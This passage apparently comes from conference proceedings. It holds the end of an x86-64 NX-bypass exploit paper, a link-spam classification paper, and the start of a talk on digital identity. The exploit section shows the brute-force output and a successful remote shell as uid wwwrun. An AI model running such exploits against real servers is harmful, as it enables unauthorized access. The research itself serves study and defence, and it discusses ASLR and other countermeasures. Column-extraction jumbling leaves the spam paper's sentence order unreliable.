} } Due to the brute forcing of the system(3) argument this time, the server executes a lot of junk until the right address is hit: &sock = 0x7ffffffff0fc system=0x400938 mmap=0x400928 sh: : command not found sh: h: command not found sh: : command not found sh: -c: line 0: syntax error near unexpected token ‘newline’ sh: -c: line 0: ‘!’ sh: : command not found sh: *: command not found sh: *: command not found sh: : command not found sh:h: *: command not found sh: : command not found sh: : command not found sh: : command not found sh: X*: command not found sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not found sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not found sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA*: command not found sh: XXXXXXXXXXXXXXXXXXXXXXXXA*: command not found sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not found sh: *: command not found However it eventually finds the right address: linux: $ cc -Wall -O2 client-automatic-shell.c linux: $ ./a.out 0x7ffffffff1d6 Connected! Linux linux 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux uid=30(wwwrun) gid=0(root) groups=0(root) 15:38:51 up 2:01, 3 users, load average: 0.74, 0.32, 0.14 USER TTY LOGIN@ IDLE JCPU PCPU WHAT root tty1 13:38 16.00s 5.84s 5.57s ./server user tty2 13:38 12.00s 0.33s 0.00s ./a.out root tty3 13:41 4:07 0.10s 0.10s -bash 8 Related work The whole technique is probably not entirely new. Some similar work but without automatic stack-frame generation has been done in [9] for the SPARC CPU which I was pointed to after a preview of this paper. I also want to point you again to the return-into-libc technique at [4], [5] and [6] because this is the sister of the technique described in this paper. | 120 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 9 COUNTERMEASURES 18 9 Countermeasures I believe that as long as buffer overflows happen there is a way to (mis)control the application even if page protections or other mechanisms forbid for directly executing shellcode. The reason is that due to the complex nature of todays applications a lot of the shellcode is already within the application itself. SSH servers for example already carry code to execute a shell because its the programs aim to allow remote control. Nevertheless I will discuss two mechanisms which might make things harder to exploit. • Address Space Layout Randomization - ASLR The code chunks borrow technique is an exact science. As you see from the exploit no offsets are guessed. The correct values have to be put into the correct registers. By mapping the libraries of the application to more or less random locations it is not possible anymore to determine where certain code chunks are placed in memory. Even though there are theoretically 64-bit addresses, applications are only required to handle 48-bit addresses. This shrinks the address space dramatically as well as the number of bits which could be randomized. Additionally, the address of a appropriate code chunk has only to be guessed once, the other chunks are relative to the first one. So guessing of addresses probably still remains possible. • Register flushing At every function outro a xor %rdi, %rdi or similar instruction could be placed if the ELF64 ABI allows so. However, as shown, the pop instructions do not need to be on instruction boundary which means that even if you flush registers at the function outro, there are still plenty of usable pop instructions left. Remember that a pop %rdi; retq sequence takes just two bytes. 10 Conclusion Even though I only tested the Linux x86-64 platform, I see no restrictions why this should not work on other platforms as well e.g. x86-64BSD, IA32 or SPARC. Even other CPUs with the same page protection mechanisms or the PaX patch should be escapable this way. Successful exploitation will in future much more depend on the application, its structure, the compiler it was compiled with and the libraries it was linked against. Imagine if we could not find a instruction sequence that fills %rdi it would be much harder if not impossible. However it also shows that overflows are not dead, even on such hardened platforms. 121 | NO -NX 11 CREDITS 11 Credits Thanks to Marcus Meissner, Andreas Jaeger, FX, Solar Designer and Halvar Flake for reviewing this paper. | 122 19 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS REFERENCES 20 References [1] AMD: http://developer.amd.com/documentation.aspx [2] x86-64 ABI: http://www.x86-64.org/documentation/abi.pdf [3] Description of buffer overflows: http://www.cs.rpi.edu/˜hollingd/netprog/notes/overflow/overflow [4] Advanced return into libc: http://www.phrack.org/phrack/58/p58-0x04 [5] Return into libc: http://www.ussg.iu.edu/hypermail/linux/kernel/9802.0/0199.html [6] Return into libc: http://marc.theaimsgroup.com/?l=bugtraq&m=87602746719512 [7] PaX: http:///pax.grsecurity.net [8] malloc overflows: http://www.phrack.org/phrack/57/p57-0x09 [9] John McDonald http://thc.org/root/docs/exploit_writing/sol-ne-stack.html [10] Borrowed code-chunks exploitation technique: http://www.suse.de/˜krahmer/bccet.tgz 123 | Developing Intelligent Search Engines How can machine learning help searching the WWW Isabel Drost 125 | Developing Intelligent Search Engines Isabel Drost Abstract this information. In this paper we investigate certain properties of the web graph that can also be found in social networks. These properties distinguish natural occuring graphs from synthetic ones and can for instance be used to identify link spam [14]. The paper gives a short overview of how the link graph can be used to distinguish certain types of web pages with machine learning techniques. Basic notation conventions are introduced in chapter 2. An overview of different link graph properties is given in 3, chapter 4 deals with the classification of different web page types. Open problems are presented in chapter 5. Developers of search engines today do not only face technical problems such as designing an efficient crawler or distributing search requests among servers. Search has become a problem of identifying reliable information in an adversarial environment. Since the web is used for purposes as diverse as trade, communication, and advertisement search engines need to be able to distinguish different types of web pages. In this paper we describe some common properties of the WWW and social networks. We show one possibility of exploiting these properties for classifying web pages. 1 Introduction 2 Since more and more data is made available online, users have to search an ever growing amount of web pages to find the information they seek. In the last decade search engines have become an important tool to find valuable web sites for a given query. First search engines did rely on simply computing the similarity of query and page content to find the most relevant sites. Today, most engines incorporate some external relevance meassure, like the page rank [23], to determine the correct ranking of web pages. Intuitively, each web page gets some initial “page rank”, collects additional weight via its inlinks and evenly distributes the gathered rank to all pages it links to. Thus, pages that have either many inlinks from unimportant pages or at least some links from sites already considered important are ranked high. Nowadays the WWW is not only used to publish information or research results as was done in its very beginning. Many web pages we encounter are created to communicate, trade, organise events or to promote products. The question arises whether it is possible to identify certain types of web pages automatically and augment the search results with The world wide web can be represented as a graph G = V, E. Each page corresponds to one node (also referred to as vertice) vi in the graph. Each link eij from page i to j is represented as an edge. The outdegree of vi corresponds to the number of links originating from this node (outlinks), its indegree to the number of links pointing to this page (inlinks). We refer to pages linking to vi , as well as those linked by vi by the term link neighborhood. 3 WWW as Social Network Social networks such as graphs representing relationships between humans or biological constraints can be shown to differ from synthetic networks in many properties [18, 22, 24]. In the following we shed light on a selection of differences that can be exploited to distinguish different types of web pages. 1 | 126 Notation DEVELOPING INTELLIGENT SEARCH ENGINES 3.1 Power Law Distribution teriorate the small world properties of the WWW [7, 6]. The distribution of the nodes’ indegree in social networks is power law governed [12, 2]. Intuitively speaking this means, that a large proportion of nodes have few links pointing to them whereas there are only a few pages that attract large amounts of links. The indegree distribution of web pages should also be exhibit a power law. Yet in [12] empirical studies have shown that the actual distribution has several outliers. Examining this problem more deeply, the authors found the outliers being link spam in most of the cases. They concluded that this observation might help in designing a link spam classifier. 3.2 4 In this section we treat the problem of classifying web pages. We incorporate the local link structure of the example nodes into their feature representation. To validate the expressivity of this representation we apply this strategy for classifying link spam. 4.1 Representing Examples Each web page is represented by three feature sets. The first one corresponds to intrinsic properties such as the length of the example page to classify. The second set covers averaged and summed features of the link neighborhood, such as the average length of pages linking to the example to classify. The last set of features covers the relations among neighboring pages and the example such as the average number of pages among the inlink pages with same length as the example vertice. A detailed description of the features used is given in table 1. Many of these features are reimplementations of, or have been inspired by, features suggested by [9, 10] and [11]. Clustering Coefficient Given a node xi in an undirected graph, the clustering coefficient of this node gives the proportion of existing links among its neighbors vs. all links that theoretically could exist. In [18] Newman observed that this coefficient is higher in naturally occuring networks than in synthetic networks: Two nodes both linked to a third one are also linked to each other with high probability in naturally occuring networks. For the WWW no clear decission could be made on whether its average clustering coefficient is similar to the one in natural networks. In our work however [10] we observed that the local clustering coefficient can be exploited successfully to distinguish spam from ham web pages. The local clustering coefficient simply gives the probability of a link between two randomly drawn link neighbors of one web page. 3.3 Classifying Web Pages 4.2 Classifying Web Spam In our experiments, we study learning curves for the tfidf representation, the attributes of Table 1, and the joint features. Figure 1 shows that for all spam, combined features are superior to the tfidf representation. In [10], a ranking of features according to their importance for classification is given. The most important features all cover attributes of either the neighboring pages themselves as well as context similarity features. Also the clustering coefficient of the pages to classify ranges rather high in the feature ranking. This publication also examines the behavior of the classifier in an adversarial environment: Spammers adopt the structure of their web pages as soon as a new spam classifier is employed. The experiments show that our link spam classifier needs to be retrained quickly, in case spammers start to adopt their web pages. Small World Graphs The most commonly known property of small world graphs is, that the shortest path connecting two nodes is considerably smaller than in random graphs. The concept became widely known after Milgrams publication [20] that suggested that US citizens are on average connected to each other by a path of 6 intermediate nodes. The WWW also should reveal such properties. But what we observe in reality is a deviation from these statistics: Large networks of link spam de2 127 | guestbook vs. ham link farm vs. ham 1 1 0.95 0.95 spam vs. ham 1 tfidf (linear) link (rbf) merged (rbf) 0.9 0.85 11 275 552 number of training examples tfidf link (linear) merged (rbf) 0.9 0.85 103 1472 AUC AUC AUC 0.95 258 517 0.9 0.85 tfidf (linear) link (linear) merged (rbf) 0.8 775 number of training examples 0.75 128 321 642 1712 number of training examples Figure 1: Comparison of feature representations. 5 Open Problems cation spammers will probe its algorithm and develop new spamming techniques probably unknown to the classifier. So the algorithm’s stability against 5.1 Learning for Search Engines adversarial obfuscation of web pages has to be exIn order to improve the user interface of search en- amined when proposing a new spam classifier. gines, there has been large effort in developing algoThe problem of web spam could equally well be rithms that are able to dynamically cluster search results for a given query [21, 25]. Presenting clus- modelled as a game between spam filter and spamterd search results seems especially appealing when mer: The web spammer tries to trick the filter and dealing with ambigous queries such as the term place the spammed web page as high as possible, ”cluster”. Today there already exist many search the filter tries to identify the spammer vs. regular engines that actually use clustering algorithms to web content. The question that arises then might present their search results. Nevertheless, the clus- be, whether it is possible to prove some kind of ters generated as well as their descriptions are far equilibrium for this kind of game. from perfect. In [15] Henzinger identifies many open problems in web search itself. According to her, one of the most important and challenging research area is the automatic identification of link spam as well as the identification of duplicate and near duplicate web pages. Recently there have been many publications on the topic of web spam. Both the problem of creating optimal link farms [4, 1] as well as the problem of actually identifying link spam [5, 26, 10] were adressed. Yet the autocorrelation of labels of neighboring nodes has so far not been taken into consideration when classifying link spam. Work that has been done in the field of collective classification [13, 16] might be a start for the development of link spam algorithms. 5.3 Other Types of Spam Click spamming is a particularly vicious form of web spam. Companies allocate a fixed budged to sponsored links programs. The sponsored link is shown on web pages related to the link target. For each click on the link the company has to pay a small amount of money to the enterprise hosting it. Rivaling companies as well as hosting companies now employ “click bots” that automatically click on their competitor’s sponsored link and cause massive financial damage. This practice undermines the benefit of the sponsored link program, and enterprises offering sponsered link programs such as Google therefore have 5.2 Game Theory to identify whether a reference to a sponsored link When developing classifiers for the problem of web has been made by a human, or by a “rogue bot”. spam identification the problem of adversarial clas- This classification task is extremely challenging besification [8] has to be taken into account. As soon cause the HTTP protocol provides hardly any inas the classifier is implemented into a search appli- formation about the client. 3 | 128 DEVELOPING INTELLIGENT SEARCH ENGINES to make these ideas work on the large linked graph of web pages. Table 1: Attributes of web page x0 . Textual content of the page x0 ; tfidf vector. 5.5 Features are computed for X = {x0 }, for predecessors X = pred(x0 ), successors (X = succ(x0 )). The attributes are aggregated (sum and average) over all xi ∈ X. Number of tokens keyword meta-tag. Number of tokens in title. Number of tokens in description. Is the page a redirection?. Number of inlinks of x. Number of outlinks of x. Number of characters in URL of x. Number of characters in domain of x. Number of subdomains in URL of x. Page length of x. Domain ending “.edu” or “.org”? Domain ending “.com” or “.biz”?. URL contains tilde?. At the moment search engines in general employ exactly one ranking function for each query. Unfortunately for users this means that the ranking of search results is a mere compromise of the needs of all the users of the engine. A personalized ranking here might help to find exactly what the user needs: An astronomer searching for the term cluster might be unlikely to seek information on the topic of search result clustering. He probably will search information about clusters of stars. On approach to solve this problem is to provide a ranking function that adopts to the searcher. Recently a rather exhaustive user [17] study showed, that the users’ clicks on search results could be used as implicit feedback on the quality of the ranking. On the basis of these results one could imagine to build a personalized ranking function for each individual user that exactly takes into account which search results the user preferably clicked on in the past. The context similarity features are calculated for X = pred(x0 ) and X = succ(x0 ); sum and ratio are used for aggregation. Clustering coefficient of X. Elements of X with common IP. Elements of X of common length. Pages that are referred to in x0 and also in elements of X. Pages referred to from two elements of X. Pages in X with comon MD5 hash. Elements of X with IP of x0 . Elements of X with length of x0 . Pages in X with MD5 of x0 . 5.4 Personalized Ranking References [1] S. Adali, T. Liu, and M. Magdon-Ismail. Optimal link bombs are uncoordinated. In Proc. of the Workshop on Adversarial IR on the Web, 2005. [2] Lada A. Adamic. The small world web. In S. Abiteboul and A.-M. Vercoustre, editors, Proc. 3rd European Conf. Research and Advanced Technology for Digital Libraries, ECDL, number 1696, pages 443–452. Springer-Verlag, 1999. Novelty Detection The WWW provides a large amount of information that is regularly updated. In many cases, news - such as reports from the 2004 tsunami in south east asia - spread first via private web pages before common news papers are able to write about the event. The detection of new trends, stories and preferences among the huge amount of web pages is an especially challenging task that might influence not only the development of the web itself but also the articles published in news papers. There are already several publications on the topic of tracking specific topics [3] as well as the identification of new trends [19] in a linked environment. Yet some more work might be necessary [3] James Allan. Introduction to topic detection and tracking. pages 1–16, 2002. [4] R. Baeza-Yates, C. Castillo, and V. López. Pagerank increase under different collusion topologies. In Proc. of the Workshop on Adversarial IR on the Web, 2005. [5] A. Benczúr, K. Csalogány, T. Sarlós, and M. Uher. Spamrank – fully automatic link spam detection. In Proc. of the Workshop on Adversarial IR on the Web, 2005. [6] K. Bharat, B. Chang, M. Henzinger, and M. Ruhl. Who links to whom: Mining linkage between web sites. In Proc. of the IEEE International Conference on Data Mining, 2001. 4 129 | [7] A. Broder, R. Kumar, F. Maghoul, P. Raghavan, S. Rajagopalan, R. Stata, A. Tomkins, and J. Wiener. Graph structure in the web. In Proc. of the International WWW Conference, 2000. communities on www. In WI ’01: Proceedings of the First Asia-Pacific Conference on Web Intelligence: Research and Development, pages 473–482, London, UK, 2001. Springer-Verlag. [8] N. Dalvi, P. Domingos, Mausam, S. Sanghai, and D. Verma. Adversarial classification. In Proc. of the ACM International Conference on Knowledge Discovery and Data Mining, 2004. [20] Stanley Milgram. The small world problem. Psychology Today, 61, 1967. [21] Dharmendra S. Modha and W. Scott Spangler. Clustering hypertext with applications to web searching. In ACM Conference on Hypertext, pages 143–152, 2000. [9] B. Davison. Recognizing nepotistic links on the web, 2000. In Proceedings of the AAAI2000 Workshop on Artificial Intelligence for Web Search. [22] M. E. J. Newman. Assortative mixing in networks. Technical report, arXiV cond-mat/0205405, 2002. [10] Isabel Drost and Tobias Scheffer. Thwarting the nigritude ultramarine: learning to identify link spam. In Proc. of the ECML. [23] L. Page and S. Brin. The anatomy of a largescale hypertextual web search engine. In Proc. of the Seventh International World-Wide Web Conference, 1998. [11] D. Fetterly, M. Manasse, and M. Najork. Spam, damn spam, and statistics: Using statistical analysis to locate spam web pages. In Proc. of the International Workshop on the Web and Databases, 2004. [24] L. Tsimring and R. Huerta. Modeling of contact tracing in social networks. Physika A, 325:33–39, 2003. [25] Yitong Wang and Masaru Kitsuregawa. Link based clustering of Web search results. Lecture Notes in Computer Science, 2118, 2001. [12] D. Fetterly, M. Manasse, M. Najork, and J. Wiener. A large-scale study of the evolution of web pages. In Proc. of the International WWW Conference, 2003. [26] Baoning Wu and Brian D. Davison. Identifying link farm spam pages. In Proc. of the 14th International WWW Conference, 2005. [13] Lise Getoor. Link-based classification. Technical report, University of Maryland, 2004. [14] Zoltn Gyngyi and Hector Garcia. Web spam taxonomy. In Proc. of the Workshop on Adversarial IR on the Web, 2005. [15] M. Henzinger, R. Motwani, and C. Silverstein. Challenges in web search engines. In Proc. of the International Joint Conference on Artificial Intelligence, 2003. [16] David Jensen, Jennifer Neville, and Brian Gallagher. Why collective inference improves relational classification. In KDD ’04: Proceedings of the 2004 ACM SIGKDD international conference on Knowledge discovery and data mining, pages 593–598. ACM Press, 2004. [17] Thorsten Joachims, Laura Granka, Bing Pan, Helene Hembrooke, and Geri Gay. Accurately interpreting clickthrough data as implicit feedback. In SIGIR ’05: Proceedings of the 28th annual international ACM SIGIR conference on Research and development in information retrieval, 2005. [18] Juyong Park M. E. J. Newman. Why social networks are different from other types of networks. Technical report, arXiV cond-mat/0305612, 2003. [19] Naohiro Matsumura, Yukio Ohsawa, and Mitsuru Ishizuka. Discovery of emerging topics between 5 | 130 Digital Identity and the Ghost in the Machine "Once I Was Lost But Now I've Been Found" Max Kilger 131 | Digital Identity – The Ghost in the Machine Max Kilger Chief Social Scientist Honeynet Project [Show Prisoner Video] Introduction One of the more critical social psychological elements associated with personality, motivations and behaviors is the concept of identity – e.g. having a sense of one’s own identity. Indeed a sense of one’s identity is also an importan t componen t necessary for the psychological well- being of an individual. Therefore I would like to suggest that it is with some serious thought that we examine how digital technology is having a significant effect on both how others see us and how we see ourselves and the resultant effects on identity. In this paper we will treat the concept of identity as a multi - dimensional social element and examine how digital technologies such as the computer s and the Internet affect personal identity. Identity as Process The formation of personal identity is both an ascribed as well as a constructed process. When you are born there are some simple aspects of your identity that are typically assigned to you very quickly. In the most simplistic terms you are assigned a gender – male or female – and a name – Helmut Kilger, for example. While these processes are simplistic in nature, their importance can be underscore d if there is somehow a disrup tion of this process. For example, after the birth of a child there is a short period of time during which it is normative the child may not have a given name. However after that period of time has expired, if the child still does not have a given name, friends and family will begin to inquire more ardently about the given name of the child. Indeed, wait long enough and the governmen t or state will insert itself into the identity process and demand a given name be assigned to the child. Gender assignmen t is also an element of identity ascribed at birth. Again we have inquisitive friends and family inquiring about the gender of the child – any disruption of this identity assignment is going to be met with social pressure. Eventually again the state will intervene as well and deman d to know the gender of the child – and if there appears to be some doubt about it, the new parents are often forced by social and legal press ure to choose a gender. | 132 DIGITAL IDENTITY AND THE GHOST IN THE MACHINE [Do the switched at birth routine here] From the point of birth onward, your identity is formed through a very large and continuing number of processes. These processes may be rooted in social, legal, commercial or other realms. Let’s take one of these processes that shape social identity and see how technology might have an effect on the outco me. Status processes occur all aroun d us – they everyday and involve everyone in this room. Status processes involve comparing informatio n about characteristics we possess with the characteristics that other people possess. These status characteristics might include demographic variables such as gender, age, education, income as well as variables related to perfor mance – such as Heidi there is a much better C+ + coder than I am. 1 How do these status characteristics get noticed and observed? Often this comes in face to face interaction – you sit down with Heidi to talk and notice she is female, learn she’s 5 years older than you, has a Ph.D. while you have a Hochshule diploma and she shows you some C+ + code she has written that is much better than anything you have ever written. You process that information in a mathem a tical manner that I won’t go into now and adjust your identity in relation to Heidi. In a professional dimension, perhaps you begin to think that you are not quite as good a progra m me r as you thought you were. Also maybe you begin to reevaluate yourself in terms of attractiveness as a mate as well. This is a much more difficult process when done online. First of all, you can’t directly observe that Heidi is a female – you can only assu me that she is. You have some clues to go on – her name is Heidi – and perhap s you even have a picture of her online. But how do you know that Heidi is her real name? It might really be Johann – and the picture of Heidi might not be the person you connected to on the net as well. Also, how do you know that Heidi even wrote that piece of code she sent you? So how do you gather evidence that deter mines Heidi is who she says she is? In real life face to face interaction these status characteristic clues we’ve discussed are collected and then matched against verbal and non verbal clues that reinforce the information you’ve already gathered. In face to face situations, people are voracious informatio n gathers. People are constantly collecting information about others, evaluating it and incorporating it into the identity of the person they are talking to as well as adjusting their own identities in relation to others. Let me demonst rate what I mean. [face to face interaction demo with audience member] 133 | These kinds of verbal and non - verbal cues are generally not available in typical comm u nication s that occur over digital networks like the Internet. Now some may argue that this problem can be alleviated by using video conferencing, webcams, etc. However, we know from research that even video conferencing degrades the ability of people to read, interpret and evaluate these verbal and non - verbal cues. There is a reason, after all why I flew 10 hours here to be in person rather than just appear on a big video screen in front of you. Identity as a Temporally Unstable Element One of the key dimensions of identity is persistence. Every element of a person’s identity has its own independe nt timeline. Some elements such as occupatio n can have slow timelines –for example, you may work at the same occupatio n for many years or you may have the same national identifier such as a social security number for the remainder of your life. Other elements of identity have quicker timelines – something as fleeting as the 60 second life of the passwor d generated by this RSA token [hold up token]. Indeed, the very idea that the formation of identity as a process strongly suggests that the identity is temporally unstable. Online identities are a special instance of temporal instability. Computers and networks make it possible to create an almost infinite number of commerce, security and commu n al systems and have individuals create or have assigned identities in each of them. These identities are often fleeting – after a period of time the person retires from the commu nity to which they have created the identity, or they are forcibly removed or their identity expires and this part of their digital identity ceases to exist. This suggests that people often maintain numerous identities and that these identities are always in flux from a temporal standpoint. At any point in time there is some probability p that the identity will cease to exist in time period t and a new identity emerge with probability q in time period t+1. Identity persistence is also important in the information security arena. Identity persistence means that the elements and details of identifying, authen ticating and authorizing actors require reliability – the characteristic of repeatable results. That is, the criteria must either remain stable for some period of time t or must change only in a predictable way within that time period (as is the case with the RSA token). The temporally unstable nature of identity has at least several potential conseque nces. First, an individual must be able to adapt to possessing multiple identities which change in perhaps not completely predictable ways over time in order to remain a healthy, well- adjusted person. Secondly, it poses potential challenges to identity management architectures (IMAs) in that one may not always count upon identity | 134 DIGITAL IDENTITY AND THE GHOST IN THE MACHINE persistence over time - a key feature of many IMA schemas - something that suggests that there may be “hidden cracks” in the developing area of inter - enterprise identity managemen t systems. Situational Identity Social scientists who study identity have long observed that identity in a social sense depends upon the situation in which the actor finds him - or herself. For example, a person may find themselves assuming the identity role of father to his son at home while assuming the role of colleague in his work environmen t. This suggests that individuals can adopt and manage numerous identities and activate them when they find themselves in the appro priate situation. Similar phenomenon can be found in the digital world. The identity that an individual takes on depends upon the situation that individual finds themselves in. For example, someone might take on the role of a orcbattling hero in an online game and then later that same hour sign on to Travelocity.com and assume the identity of a traveler to Berlin. The idea that identity is situational in both the offline and online worlds is not a new one but there are lessons that can be learned here. In the example just cited, both identities are compatible because they exist in distinct and discrete situations and these situations do not communicate with each other. I bring this point up because there is a very good paper on identity that people are probably quite familiar with dealing with the concept of an augmente d social network (ANS).2 The authors of this hypothetical identity system argue that there are four elements to the system: 1) persistence of identity 2) interoperability between online communities 3) brokered relationships and 4) public interest matching technologies. We have already seen that there are some potential cracks in the persistence of identity element. In addition however, there are also some cracks in this scheme due to issues of situational identity. The ANS system relies to a non - trivial extent upon trust relations hips in several senses. In the first sense it relies upon trust when one actor brokers a relationship between two other actors. More to the point, the ANS system relies upon trust identity across online commu nities. That is, a trustwort hy actor in one community is a trustwor thy actor in another online commu nity. While there is some truth in that in some sense there a “halo” effect that an actor that you trust in one community can be trusted in a second commu nity, this idea of generalized trustwort hines s can easily get you in trouble. As a counterexa mple, I personally know someone who is an excellent researcher and in the field of research methodology I trust her judgment implicitly. Jordan, Hauser and Foster suggest in an ANS schema you 135 | could transfer this trustwort hy reputa tion or trust relationship to another online commu nity – I’ll pick Ebay for example. Would I trust this person as a seller or buyer on Ebay? Most definitely not, because while I trust her in the research commu nity I certainly would not in the Ebay community because although there is that halo effect I know from personal knowledge that my friend is simply terrible at paying bills, has her cable cutoff for nonpaymen t, forgets to make insurance payments and all other forms of fiscal mayhem. And it’s not because she is untrustwort hy in general – it’s because in this particular community – Ebay – I know I’m never going to see my money from her – he attention is elsewhere. Therefore we must be careful about examining identity because to a non trivial extent identity is situational and situations can significantly alter the likely outcome of events. This also suggests that situational identity is an issue that must be dealt with in emerging identity schemes such as federated identity systems. 3 Identity – Class versu s Unique Identifiers In order to identify someone or for someone to identity themselves or for someone to evaluate their own identity, some sort of hopefully universally understo o d identifiers or claims need to be associated with the individual. There are several attributes within this dimension of identity that should be at least briefly mentioned and discussed. The first attribute involves the distinction between a class versus a unique identifier. For example, you may identify yourself or be identified as having been issued national id number 53307507484. To the extent logistically possible, this is a unique identifier that points to a single individual and the assu m p tion is that no other individual can be associated with this identifier. Your identity may also be linked to a class of identifiers for example, you might be a college graduate, female, age 34, a bunny rabbit owner. These are class attributes that you share with at least one other individual and so do not uniquely identify you. For some purposes such as going to the restroom, knowing your identity as female and having others accept that identity is a pretty useful thing. In the online world we have the opportu nity to fairly easily adopt identifiers. It’s possible – and I am sure there a number of folks in the audience who have done this – to pose as someone of the opposite sex. You could also adop t the identity of someone who works for a governmen t agency and probably get away with it, at least for awhile. The key difference I want to make here is in comparing the traditional physical versus digital world. In the physical world it is possible to adopt | 136 DIGITAL IDENTITY AND THE GHOST IN THE MACHINE a new identity as somewhat younger or older with a bit of makeu p, become female with more makeup and some costume changes, adopt an identity of being college educated with a bit of study, etc. However, it is significantly more difficult to switch identities for things that are unique identifiers such as national ID cards or using a credit card belonging to an individual, although this is done. In the online world this gap is much smaller. Because there are fewer or no physical clues, because there are always new technologies coming out that seem to help solve technical issues and so the gap of difficulty between being able to assu me a class identity and a unique identity is much smaller in the online world. You can even use digital technology to manufacture props that can be used in attemp ting to adopt new identities in the offline world. You can create websites that contain information about your identity and eventually search engine crawlers will find that information, link it to you (usually as a unique identifier such as a name or nickname) and index it. People have a tendency to legitimize results that they receive from searches using well- known search engines such as Google and so the props you planted help become part of your identity. The point here is that in the digital world the small gap between what is real in a class sense and what is real in a unique identifier sense loosens our hold on self identity and who we are – in the digital world we can really alter class and unique identifiers so efficiently that we may have lost a bit of our own sense of who we are. In essence we have brokered a world where one can manufacture identities of convenience and there may be a psychological price to pay for that bargain. As we create and have created for us more and more identities I believe this may denigrate our ability to synthesize these alter ego identities into a single sense of who we are – and this may not be such a good thing. The second attribute that I want to discuss has to do with the comparison of deterministic versus probabilistic identifiers. Deterministic identifiers are those characteristics in which we feel have a high level of confidence in identifying ourselves. For example, you can with great certainty know if your identity includes being a rabbit owner – you have close, personal knowledge of whether or not this is the case. Similar argu men ts can be made for other simple demograp hic variables such as age, gender, education, etc. There are certain aspects of your self - identity that have a probabilistic rather than deterministic one. These might include, for example, identifying yourself as a good driver or bad dancer. The probabilistic portion of this is that you do not know for sure this is the case and your 137 | ability to reference yourself in relation to others is often limited. Often these probabilistic self - identified attributes involve modifiers such as “good” or “bad” because it is the very nature of the uncertainly in self assigning these adjectives that makes them non - deter ministic. The distinction of deter ministic versus probabilistic takes a much more interesting turn when you put digital technologies into the mix. For example, imagine that part of your identity that you have associated with yourself is that you are an expert C++ program m er. You are even likely to communicate that over the net to friends in a virtual social group or personal website. However, now complications arise because your reference group is now much, much bigger – in fact, it is the rest of the online world. It is now much more problematic to own the identity of expert C+ + program m er because expert is relative and now your comparison base has exponentially grown from a small group of people you know and have physically met to literally the entire online world.. In addition, because of the lack or limited nature of verbal and non - verbal cues in most web- based communication it is difficult for others to evaluate your identity as an expert C+ + program me r. In fact, what often happens is that this lack of cues often results in status conflicts among members of the online comm unity to determine their place in the status hierarchy. These status conflicts are often followed by social control processes like flaming, hijacking machines already compro mised by the offending party, etc. One of the ways in which an individual can establish their identity is to demonst r ate high levels of competence by writing elegant hacks and code that is evaluated as such by other individuals. Another method in securing one’s identity is to physically meet with other people and exchange verbal and non - verbal cues that help establish and solidify self- identity – this is partially what is happening here in Berlin. Hacker conventions serve a very functional purpose in this extent in that they facilitate the exchange of verbal and non - verbal cues with others in a very efficient manner and allow actors to sort out their relationships. One final discussion about probabilistic identity involves the use of statistical algorithm s and statistical models to assign characteristics of identity. In the business world everyone is quite aware that there are large commercial enterprises that collect and integrate large amoun ts of data about individuals for the purposes of marketing, client service, etc.. While these databases often contain informa tion on hundreds of millions of individual and often have thousan ds of variables, the data fields themselves are often not well populated. That is, there are many variables or pieces of informatio n about individuals that may be useful to these commercial entities but often they can capture data for these variables only for a small percentage of the individuals database – the rest of the individuals hold missing values for these variables. | 138 DIGITAL IDENTITY AND THE GHOST IN THE MACHINE One of the ways in which companies resolve the missing data issues is to use statistical algorithm s and models to attach propensities or probabilities for individuals for these variables. For example, a marketing company might run a model for all individuals in its databases to predict which ones are likely to watch the CNN television network and which ones are not likely to watch. Thus the identity a company develops for you as a custo mer or prospective customer may often incorpora te characteristics that are based on a probabilistic estimate rather than deter ministic information. Other applications of this type of technology are the databases developed and maintained by government agencies (intelligence, law enforcement, etc.) They use these databases for national security purposes and sometimes it might be necessary to impute or model some variable for a person of interest in order to better understan d the risk the person may pose to a specific entity. The idea here is that digital identities are very real and have very real- world consequences for individuals and that you may have an identity attached to you that is based at least partially on synthetic data. It is likely that this trend is only going to accelerate. Source of Identity Information – Self or Other It is clear from the previous discussion that not only does an individual form their identity from their own information and evaluation process but there are others out there in the digital world creating identities often without the detailed knowledge of the individual. Do these other - created identities have an effect on the formation of our own self - identity? If you look closely at how George Herbert Mead describes the emergence and organization of the self, he uses two terms – the “I” and the “me ”. Mead refers to the me as the social self – that compone nt of self and identity that arises from the way in which others interact with you as an individual. 4 This suggests that the identities that others create for you do in fact not only affect you in the physical world but also have a non - trivial effect on your own identity. That is, you yourself incorpora te other people’s impressions of you into your identity. Mead describes the I as the novel or individualistic way in which the individual reacts to the social self or me. Therefore it 